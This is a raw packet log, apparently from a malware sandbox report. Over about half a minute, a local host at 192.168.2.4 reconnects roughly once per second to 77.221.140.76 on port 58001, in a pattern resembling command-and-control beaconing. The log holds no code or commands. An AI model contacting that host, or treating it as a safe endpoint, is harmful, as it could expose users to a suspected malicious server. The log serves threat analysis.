Jun 17, 2024 16:19:07.291870117 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.292505026 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.298150063 CEST	58001	65281	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:07.298198938 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.303456068 CEST	58001	65281	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:08.290641069 CEST	58001	65281	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:08.290710926 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.290855885 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.295902014 CEST	58001	65281	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:08.396074057 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.401954889 CEST	58001	65282	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:08.402035952 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.402740955 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.407507896 CEST	58001	65282	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:08.407568932 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:08.412314892 CEST	58001	65282	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:09.401132107 CEST	58001	65282	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:09.401215076 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.401670933 CEST	65282	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.407893896 CEST	58001	65282	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:09.506551981 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.511573076 CEST	58001	65283	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:09.511647940 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.512285948 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.517222881 CEST	58001	65283	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:09.517349005 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:09.526267052 CEST	58001	65283	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:10.499078035 CEST	58001	65283	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:10.499161005 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.499356985 CEST	65283	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.504122019 CEST	58001	65283	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:10.625868082 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.633764029 CEST	58001	65284	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:10.633838892 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.634612083 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.639403105 CEST	58001	65284	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:10.639451981 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:10.644212961 CEST	58001	65284	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:11.658127069 CEST	58001	65284	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:11.658205032 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.658404112 CEST	65284	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.663459063 CEST	58001	65284	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:11.771409035 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.776297092 CEST	58001	65285	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:11.776381016 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.777002096 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.781925917 CEST	58001	65285	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:11.781981945 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:11.786829948 CEST	58001	65285	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:12.775073051 CEST	58001	65285	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:12.775140047 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.775283098 CEST	65285	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.780062914 CEST	58001	65285	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:12.880742073 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.885767937 CEST	58001	65286	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:12.885850906 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.886511087 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.891427994 CEST	58001	65286	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:12.891506910 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:12.896408081 CEST	58001	65286	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:13.903868914 CEST	58001	65286	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:13.903934002 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:13.904083967 CEST	65286	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:13.908827066 CEST	58001	65286	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:14.024013042 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:14.029858112 CEST	58001	65287	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:14.029964924 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:14.030637026 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:14.036209106 CEST	58001	65287	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:14.036269903 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:14.041277885 CEST	58001	65287	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:15.047749043 CEST	58001	65287	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:15.047832012 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.048073053 CEST	65287	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.052932024 CEST	58001	65287	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:15.161597013 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.166682959 CEST	58001	65288	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:15.166774988 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.167368889 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.172204018 CEST	58001	65288	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:15.172601938 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:15.177531004 CEST	58001	65288	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:16.191001892 CEST	58001	65288	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:16.191071033 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.191217899 CEST	65288	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.196106911 CEST	58001	65288	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:16.302628994 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.307702065 CEST	58001	65289	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:16.307810068 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.308461905 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.313308954 CEST	58001	65289	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:16.313364983 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:16.318258047 CEST	58001	65289	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:17.342236996 CEST	58001	65289	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:17.342313051 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.342463970 CEST	65289	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.347801924 CEST	58001	65289	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:17.458399057 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.463347912 CEST	58001	65290	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:17.463435888 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.464107990 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.468950987 CEST	58001	65290	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:17.469012022 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:17.473908901 CEST	58001	65290	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:18.455540895 CEST	58001	65290	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:18.455666065 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.455787897 CEST	65290	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.462054968 CEST	58001	65290	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:18.568022013 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.577456951 CEST	58001	65291	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:18.577569962 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.578459978 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.586952925 CEST	58001	65291	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:18.587040901 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:18.592869997 CEST	58001	65291	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:19.562069893 CEST	58001	65291	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:19.562150955 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.562479973 CEST	65291	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.567414999 CEST	58001	65291	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:19.677124023 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.682190895 CEST	58001	65292	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:19.682301044 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.682955980 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.687856913 CEST	58001	65292	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:19.687935114 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:19.692809105 CEST	58001	65292	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:20.676712036 CEST	58001	65292	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:20.676786900 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.676923990 CEST	65292	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.682095051 CEST	58001	65292	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:20.786686897 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.791805029 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:20.791886091 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.792527914 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.797389984 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:20.797462940 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:20.802373886 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:21.937046051 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:21.937119007 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:21.937246084 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.052135944 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.169923067 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:22.169981003 CEST	65293	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.170634985 CEST	58001	65293	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:22.170671940 CEST	58001	65294	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:22.170734882 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.171447039 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.176325083 CEST	58001	65294	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:22.176377058 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:22.181602955 CEST	58001	65294	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:23.166804075 CEST	58001	65294	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:23.167629004 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.167774916 CEST	65294	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.173532009 CEST	58001	65294	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:23.270972013 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.276209116 CEST	58001	65295	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:23.276645899 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.277259111 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.282215118 CEST	58001	65295	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:23.285619974 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:23.290515900 CEST	58001	65295	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:24.331680059 CEST	58001	65295	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:24.331809998 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.331952095 CEST	65295	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.337260962 CEST	58001	65295	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:24.442866087 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.449495077 CEST	58001	65296	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:24.449585915 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.450238943 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.454997063 CEST	58001	65296	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:24.455058098 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:24.459871054 CEST	58001	65296	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:25.470495939 CEST	58001	65296	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:25.470659018 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.470803022 CEST	65296	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.475581884 CEST	58001	65296	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:25.583527088 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.588429928 CEST	58001	65297	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:25.588602066 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.589240074 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.594106913 CEST	58001	65297	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:25.594166994 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:25.599117041 CEST	58001	65297	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:26.587136984 CEST	58001	65297	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:26.587213039 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.587362051 CEST	65297	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.592140913 CEST	58001	65297	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:26.692854881 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.697730064 CEST	58001	65298	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:26.697820902 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.698496103 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.703464031 CEST	58001	65298	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:26.703519106 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:26.708302975 CEST	58001	65298	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:27.690763950 CEST	58001	65298	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:27.690859079 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.691051006 CEST	65298	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.695862055 CEST	58001	65298	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:27.803533077 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.809072018 CEST	58001	65299	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:27.809220076 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.811394930 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.818154097 CEST	58001	65299	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:27.818381071 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:27.824551105 CEST	58001	65299	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:28.811885118 CEST	58001	65299	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:28.811959028 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.812124014 CEST	65299	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.820091963 CEST	58001	65299	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:28.927222013 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.932602882 CEST	58001	65300	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:28.932703972 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.933386087 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.938301086 CEST	58001	65300	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:28.938361883 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:28.943291903 CEST	58001	65300	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:29.930502892 CEST	58001	65300	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:29.930658102 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:29.930799007 CEST	65300	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:29.935647011 CEST	58001	65300	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:30.036665916 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:30.042754889 CEST	58001	65301	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:30.042911053 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:30.043498993 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:30.048392057 CEST	58001	65301	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:30.048464060 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:30.053401947 CEST	58001	65301	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:31.074944019 CEST	58001	65301	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:31.075012922 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.075294018 CEST	65301	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.080151081 CEST	58001	65301	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:31.192995071 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.197926998 CEST	58001	65302	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:31.198031902 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.198796988 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.203624964 CEST	58001	65302	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:31.203705072 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:31.208884954 CEST	58001	65302	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:32.192028999 CEST	58001	65302	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:32.192101955 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.192254066 CEST	65302	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.196994066 CEST	58001	65302	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:32.308759928 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.313800097 CEST	58001	65303	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:32.313885927 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.314559937 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.319354057 CEST	58001	65303	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:32.319417953 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:32.324321032 CEST	58001	65303	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:33.305969954 CEST	58001	65303	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:33.306066990 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.310302019 CEST	65303	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.315205097 CEST	58001	65303	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:33.429541111 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.435220957 CEST	58001	65304	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:33.435354948 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.435945034 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.441015959 CEST	58001	65304	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:33.441070080 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:33.446054935 CEST	58001	65304	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:34.474134922 CEST	58001	65304	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:34.474226952 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.474729061 CEST	65304	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.479640007 CEST	58001	65304	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:34.584934950 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.590631962 CEST	58001	65305	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:34.590720892 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.591370106 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.596537113 CEST	58001	65305	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:34.596611023 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:34.601617098 CEST	58001	65305	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:35.605489969 CEST	58001	65305	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:35.605572939 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.605767012 CEST	65305	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.610603094 CEST	58001	65305	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:35.728385925 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.733463049 CEST	58001	65306	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:35.733549118 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.734226942 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.739139080 CEST	58001	65306	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:35.739202023 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:35.744062901 CEST	58001	65306	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:36.769462109 CEST	58001	65306	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:36.769680023 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.769913912 CEST	65306	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.775182962 CEST	58001	65306	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:36.880712032 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.887058973 CEST	58001	65307	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:36.887156963 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.887793064 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.893115044 CEST	58001	65307	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:36.893240929 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:36.898422956 CEST	58001	65307	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:37.921793938 CEST	58001	65307	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:37.921916008 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:37.922044992 CEST	65307	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:37.926870108 CEST	58001	65307	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:38.036569118 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:38.042367935 CEST	58001	65308	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:38.042552948 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:38.043040037 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:38.047981024 CEST	58001	65308	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:38.048074961 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:38.053349972 CEST	58001	65308	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:39.048273087 CEST	58001	65308	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:39.048365116 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.048558950 CEST	65308	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.053524971 CEST	58001	65308	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:39.164073944 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.169008970 CEST	58001	65310	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:39.169080973 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.170062065 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.175885916 CEST	58001	65310	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:39.175942898 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:39.180780888 CEST	58001	65310	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:40.203583956 CEST	58001	65310	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:40.203670979 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.203893900 CEST	65310	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.208795071 CEST	58001	65310	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:40.326886892 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.332127094 CEST	58001	65311	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:40.332226038 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.334391117 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.339282990 CEST	58001	65311	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:40.339346886 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:40.344177961 CEST	58001	65311	77.221.140.76	192.168.2.4
